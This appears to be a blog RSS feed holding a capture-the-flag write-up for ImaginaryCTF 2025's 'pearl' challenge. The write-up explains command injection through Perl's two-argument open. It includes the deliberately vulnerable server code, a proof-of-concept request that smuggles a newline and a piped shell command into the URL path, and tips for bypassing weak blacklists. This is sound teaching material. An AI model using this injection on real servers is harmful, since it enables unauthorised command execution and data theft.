<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Perl on HitCat</title>
        <link>https://blog.hitc.at/tags/perl/</link>
        <description>Recent content in Perl on HitCat</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <copyright>HitCat</copyright>
        <lastBuildDate>Sat, 06 Sep 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.hitc.at/tags/perl/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>Perl two-argument open command execution - ImaginaryCTF 2025</title>
        <link>https://blog.hitc.at/posts/ctf/imaginaryctf-2025/pearl/</link>
        <pubDate>Sat, 06 Sep 2025 00:00:00 +0000</pubDate>
        
        <guid>https://blog.hitc.at/posts/ctf/imaginaryctf-2025/pearl/</guid>
        <description>&lt;img src="https://blog.hitc.at/images/imaginaryctf2025/web/pearl_flag.png" alt="Featured image of post Perl two-argument open command execution - ImaginaryCTF 2025" /&gt;&lt;h2 id=&#34;challenge-source&#34;&gt;Challenge source
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/HiitCat/CTF-Sources/tree/main/2025/ImaginaryCTF%202025/Web/pearl/src&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;ImaginaryCTF 2025 - Web - Pearl&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;introduction&#34;&gt;Introduction
&lt;/h2&gt;&lt;p&gt;The &lt;strong&gt;&amp;ldquo;pearl&amp;rdquo;&lt;/strong&gt; challenge is about abusing &lt;strong&gt;Perl’s two-argument &lt;code&gt;open&lt;/code&gt;&lt;/strong&gt; on &lt;strong&gt;unsanitized user input&lt;/strong&gt;, which silently enables &lt;strong&gt;pipe opens (command execution)&lt;/strong&gt; when the filename ends with a &lt;code&gt;|&lt;/code&gt;. The server also &lt;strong&gt;URL-decodes&lt;/strong&gt; the path, so we can inject a newline and arguments. A partial blacklist misses this single trailing pipe case, letting us execute &lt;code&gt;cat /flag*&lt;/code&gt; and read the flag.&lt;/p&gt;
&lt;h3 id=&#34;context-explanation&#34;&gt;Context Explanation
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;Tech: custom HTTP server using &lt;strong&gt;&lt;code&gt;HTTP::Daemon&lt;/code&gt;&lt;/strong&gt; (Perl), serving files from &lt;code&gt;./files&lt;/code&gt; (see &lt;a class=&#34;link&#34; href=&#34;https://github.com/HiitCat/CTF-Sources/blob/main/2025/ImaginaryCTF%202025/Web/pearl/src/server.pl&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;code&gt;server.pl&lt;/code&gt;&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Entry point: &lt;strong&gt;request path&lt;/strong&gt; (after URL decoding) is used to build a filesystem path, then passed to &lt;strong&gt;two-arg &lt;code&gt;open&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Sanitization&amp;rdquo;: a &lt;strong&gt;blacklist regex&lt;/strong&gt; tries to block &lt;code&gt;..&lt;/code&gt;, some shell metacharacters, and &lt;code&gt;|.*|&lt;/code&gt;, but &lt;strong&gt;does not&lt;/strong&gt; block a &lt;strong&gt;single trailing &lt;code&gt;|&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;does not&lt;/strong&gt; block &lt;strong&gt;newlines&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Flag: built at container start (&lt;code&gt;flag.txt&lt;/code&gt; moved/renamed to &lt;code&gt;/flag-&amp;lt;md5&amp;gt;.txt&lt;/code&gt;), so &lt;code&gt;/flag*&lt;/code&gt; reliably matches.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;RUN&lt;/span&gt; mv /flag.txt /flag-&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;md5sum /flag.txt &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk &lt;span class=&#34;s1&#34;&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;.txt&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;directive&#34;&gt;Directive
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;Craft a request path that, after URL-decoding, injects a &lt;strong&gt;newline&lt;/strong&gt; and a &lt;strong&gt;shell command&lt;/strong&gt; ending with a &lt;strong&gt;trailing pipe&lt;/strong&gt; &lt;code&gt;|&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Hit the server with that path so the &lt;strong&gt;two-arg &lt;code&gt;open&lt;/code&gt;&lt;/strong&gt; treats it as a &lt;strong&gt;pipe open&lt;/strong&gt; and executes our command.&lt;/li&gt;
&lt;li&gt;Use a &lt;strong&gt;glob&lt;/strong&gt; &lt;code&gt;/flag*&lt;/code&gt; to catch the randomized flag filename and read it.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;h3 id=&#34;1-server-behavior--vulnerable-code&#34;&gt;1) Server behavior &amp;amp; vulnerable code
&lt;/h3&gt;&lt;p&gt;Relevant pieces from &lt;a class=&#34;link&#34; href=&#34;https://github.com/HiitCat/CTF-Sources/blob/main/2025/ImaginaryCTF%202025/Web/pearl/src/server.pl&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;strong&gt;&lt;code&gt;server.pl&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-perl&#34; data-lang=&#34;perl&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$webroot&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;./files&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$r&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$c&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get_request&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;method&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;eq&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#39;GET&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$path&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;CGI::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;unescape&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;uri&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;# URL-decodes (%0A =&amp;gt; newline)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$path&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=~&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|^/||&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$path&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#39;index.html&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$fullpath&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;File::Spec&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;catfile&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$webroot&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# Partial blacklist — note it only bans a pipe WHEN followed by ... another pipe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$fullpath&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=~&lt;/span&gt;&lt;span class=&#34;sr&#34;&gt; /\.\.|[,\`\)\(;&amp;amp;]|\|.*\|/&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nv&#34;&gt;$c&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;send_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RC_BAD_REQUEST&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Invalid path&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;next&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;o&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# Serve file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$fh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$fullpath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;or&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;            &lt;span class=&#34;c1&#34;&gt;# &amp;lt;-- two-arg open on untrusted string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nv&#34;&gt;$c&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;send_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RC_INTERNAL_SERVER_ERROR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Could not open file.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;next&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;binmode&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$fh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$content&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;vg&#34;&gt;$/&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;sr&#34;&gt;&amp;lt;$fh&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;close&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$fh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;o&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Key points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CGI::unescape&lt;/code&gt;&lt;/strong&gt; decodes &lt;code&gt;%0A&lt;/code&gt; to a &lt;strong&gt;literal newline&lt;/strong&gt; inside &lt;code&gt;$path&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The regex &lt;strong&gt;does not&lt;/strong&gt; forbid a &lt;strong&gt;single trailing &lt;code&gt;|&lt;/code&gt;&lt;/strong&gt;; it only matches &lt;code&gt;\|.*\|&lt;/code&gt; (a pipe, some stuff, then another pipe).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two-argument &lt;code&gt;open&lt;/code&gt;&lt;/strong&gt; on a string that &lt;strong&gt;ends with &lt;code&gt;|&lt;/code&gt;&lt;/strong&gt; turns into a &lt;strong&gt;pipe read&lt;/strong&gt; from the preceding shell command (Perl feature).
-&amp;gt; If &lt;code&gt;$fullpath&lt;/code&gt; becomes e.g. &lt;code&gt;&amp;quot;./files/x\ncat /flag*|&amp;quot;&lt;/code&gt;, Perl executes &lt;strong&gt;&lt;code&gt;cat /flag*&lt;/code&gt;&lt;/strong&gt; and pipes its output into &lt;code&gt;$fh&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[Screenshot: &lt;code&gt;server.pl&lt;/code&gt; showing the blacklist line and the &lt;code&gt;open(my $fh, $fullpath)&lt;/code&gt; call]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Also from &lt;a class=&#34;link&#34; href=&#34;https://github.com/HiitCat/CTF-Sources/blob/main/2025/ImaginaryCTF%202025/Web/pearl/src/Dockerfile&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;strong&gt;&lt;code&gt;Dockerfile&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-dockerfile&#34; data-lang=&#34;dockerfile&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;COPY&lt;/span&gt; flag.txt /&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;RUN&lt;/span&gt; mv /flag.txt /flag-&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;md5sum /flag.txt &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk &lt;span class=&#34;s1&#34;&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;.txt&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is why &lt;code&gt;/flag*&lt;/code&gt; is a reliable glob target for the flag.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;2-poc-request-as-provided--newline--trailing-pipe&#34;&gt;2) PoC request (as provided) — newline + trailing pipe
&lt;/h3&gt;&lt;p&gt;The provided PoC (&lt;strong&gt;&lt;code&gt;pearl/poc/pearl.txt&lt;/code&gt;&lt;/strong&gt;) sends a raw HTTP request:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;GET&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;/x%0Acat%20/flag*%7C&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;HTTP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Host&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;pearl.chal.imaginaryctf.org&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Connection&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;keep-alive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;URL-decoded path becomes:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/x
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cat /flag*|
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Line 1 is a &lt;strong&gt;dummy filename&lt;/strong&gt; under &lt;code&gt;./files/&lt;/code&gt; (likely non-existent).&lt;/li&gt;
&lt;li&gt;Line 2 is the &lt;strong&gt;shell command&lt;/strong&gt; we want the Perl &lt;code&gt;open&lt;/code&gt; to execute (because it &lt;strong&gt;ends with &lt;code&gt;|&lt;/code&gt;&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;Net effect: two-arg &lt;code&gt;open&lt;/code&gt; treats &lt;code&gt;$fullpath&lt;/code&gt; as a &lt;strong&gt;pipe&lt;/strong&gt;, runs &lt;code&gt;cat /flag*&lt;/code&gt;, and returns the flag content.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.hitc.at/images/imaginaryctf2025/web/pearl_flag.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;3-why-it-works-concise&#34;&gt;3) Why it works (concise)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Two-arg &lt;code&gt;open&lt;/code&gt;&lt;/strong&gt; on an &lt;strong&gt;untrusted scalar&lt;/strong&gt; enables &lt;strong&gt;special modes&lt;/strong&gt;: a trailing &lt;code&gt;|&lt;/code&gt; is a &lt;strong&gt;pipe open&lt;/strong&gt; (command execution).&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;blacklist&lt;/strong&gt; misses the &lt;strong&gt;single trailing &lt;code&gt;|&lt;/code&gt;&lt;/strong&gt; pattern and &lt;strong&gt;doesn’t strip newlines&lt;/strong&gt;, letting us &lt;strong&gt;smuggle a separate shell command&lt;/strong&gt; after a filename.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CGI::unescape&lt;/code&gt; ensures &lt;code&gt;%0A&lt;/code&gt; becomes a &lt;strong&gt;real newline&lt;/strong&gt; inside the &amp;ldquo;filename.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/flag*&lt;/code&gt; matches the randomized flag file produced at container startup.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;tips--tricks&#34;&gt;Tips &amp;amp; Tricks
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Perl open gotcha&lt;/strong&gt;: If you see &lt;code&gt;open($fh, $user_input)&lt;/code&gt;, think &lt;strong&gt;pipe opens&lt;/strong&gt;. Trailing &lt;code&gt;|&lt;/code&gt; (read from command) and leading &lt;code&gt;|&lt;/code&gt; (write to command) are classic primitives.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bypass weak blacklists&lt;/strong&gt;: Patterns like &lt;code&gt;\|.*\|&lt;/code&gt; miss &lt;strong&gt;single pipes&lt;/strong&gt;. Combine with &lt;strong&gt;newlines&lt;/strong&gt; (&lt;code&gt;%0A&lt;/code&gt;) to break parsing and inject arguments naturally.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Globs vs. randomized filenames&lt;/strong&gt;: When flags are renamed with a hash, use shell globs (&lt;code&gt;/flag*&lt;/code&gt;) in your injected command to avoid guessing the exact name.&lt;/li&gt;
&lt;/ol&gt;
</description>
        </item>
        
    </channel>
</rss>
